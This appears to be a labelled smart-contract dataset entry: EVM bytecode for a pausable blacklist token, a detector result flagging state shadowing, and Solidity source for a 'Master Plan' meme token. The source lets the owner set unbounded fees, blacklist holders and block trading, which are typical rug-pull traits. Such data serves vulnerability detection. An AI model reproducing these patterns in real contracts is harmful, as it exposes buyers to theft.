08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610de68383611da6565b905092915050565b6000610e04826007611dbd90919063ffffffff16565b9050919050565b6000600354905090565b6000610e2033611b70565b610e75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132f06044913960600191505060405180910390fd5b610e7f8383611e9b565b6001905092915050565b6000600560009054906101000a900460ff1615610f0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610f1733611068565b15610f6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b610f7684611068565b15610fcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806133ec602a913960400191505060405180910390fd5b610fd583611068565b1561102b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260418152602001806134166041913960600191505060405180910390fd5b611036848484612089565b90509392505050565b61104833612122565b565b600b60009054906101000a900460ff1681565b6110663361217c565b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900460ff1615611143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d83836121d6565b905092915050565b600061116033610dee565b6111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132b06040913960400191505060405180910390fd5b60008090505b82518110156111ed576111e08382815181106111d357fe5b602002602001015161227b565b80806001019150506111bb565b50919050565b6111fc33611353565b611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061320f6030913960400191505060405180910390fd5b600560009054906101000a900460ff166112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611369826004611dbd90919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b61138f611809565b611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61140a81612122565b50565b611415611809565b611487576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61149081612319565b50565b61149c33612319565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006114f233610dee565b611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132b06040913960400191505060405180910390fd5b60008090505b825181101561157f5761157283828151811061156557fe5b6020026020010151612373565b808060010191505061154d565b50919050565b61158d611809565b6115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61160881612411565b50565b61161433611353565b611669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061320f6030913960400191505060405180910390fd5b600560009054906101000a900460ff16156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061177733611b70565b6117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132f06044913960600191505060405180910390fd5b6117d6838361246b565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118f65780601f106118cb576101008083540402835291602001916118f6565b820191906000526020600020905b8154815290600101906020018083116118d957829003601f168201915b505050505081565b611906611809565b611978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61198181612659565b50565b6000600560009054906101000a900460ff1615611a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611a1383836126b3565b905092915050565b6000600560009054906101000a900460ff1615611aa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611aa933611068565b15611aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613377602c913960400191505060405180910390fd5b611b0883611068565b15611b5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260418152602001806134166041913960600191505060405180910390fd5b611b688383612758565b905092915050565b6000611b86826006611dbd90919063ffffffff16565b9050919050565b611b95611809565b611c07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611c10816127ef565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ca2611809565b611d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611d1d8161217c565b50565b611d28611809565b611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611da381612849565b50565b6000611db333848461298d565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133556022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132876029913960400191505060405180910390fd5b611f3681600354612b8490919063ffffffff16565b600381905550611f8e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a6826040518082815260200191505060405180910390a25050565b6000600560009054906101000a900460ff161561210e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b612119848484612c0d565b90509392505050565b612136816007612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fba73eacdfe215f630abb6a8a78e5be613e50918b52e691bba35d46c06e20d6c860405160405180910390a250565b612190816006612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f15bf0aef1cc552f782bc5ad7121d42ea78efbfbec8dd9e16fb9f37967ad763fb60405160405180910390a250565b6000612271338461226c85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b61298d565b6001905092915050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b61232d816004612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b612425816004612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131966026913960400191505060405180910390fd5b61250681600354612d7b90919063ffffffff16565b60038190555061255e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16826040518082815260200191505060405180910390a25050565b61266d816006612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f9e8b5fbf24fd7f86d2666e8f27ffdeb7c0aa870faa1980ad7290677152938dfa60405160405180910390a250565b600061274e338461274985600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b6001905092915050565b6000600560009054906101000a900460ff16156127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6127e78383612ede565b905092915050565b612803816007612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa6124c7f565d239231ddc9de42e684db7443c994c658117542be9c50f561943860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061323f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133c86024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132656022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600082821115612bfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000612c1a848484612ef5565b612cb38433612cae85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b600190509392505050565b612cc88282611dbd565b612d1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133346021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828401905083811015612df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612e0d8282611dbd565b15612e80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612eeb338484612ef5565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806133a36025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613001576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131bc6023913960400191505060405180910390fd5b61305381600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130e881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe436f696e466163746f72793a20697373756520746f20746865207a65726f206164647265737345524332303a207472616e7366657220746f20746865207a65726f2061646472657373464f46546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657246726f6d506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373436f696e466163746f72793a2072656465656d2066726f6d20746865207a65726f2061646472657373426c61636b6c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520426c61636b6c69737441646d696e20726f6c65436f696e466163746f727941646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520436f696e466163746f727941646d696e20726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373464f46546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373464f46546f6b656e3a2066726f6d20696e20626c61636b6c6973742063616e2774207472616e73666572464f46546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c697374a165627a7a723058201bef225c4a683a724c6ffc8c6d9867e38cef3c0f0bd6ee907020433005a091610029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
5,405
0x0d3305db144d0672b392959db10e37b1145fe79a
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ /* https://twitter.com/elonmusk/status/1504311459924398083 Musk tweet Token */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract musktoken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Master Plan"; string private constant _symbol = "MASTER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x42227b700E3c462f29BF92Dcc637B7f87216a387); address payable private _marketingAddress = payable(0x42227b700E3c462f29BF92Dcc637B7f87216a387); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 30000000 * 10**9; uint256 public _maxWalletSize = 50000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
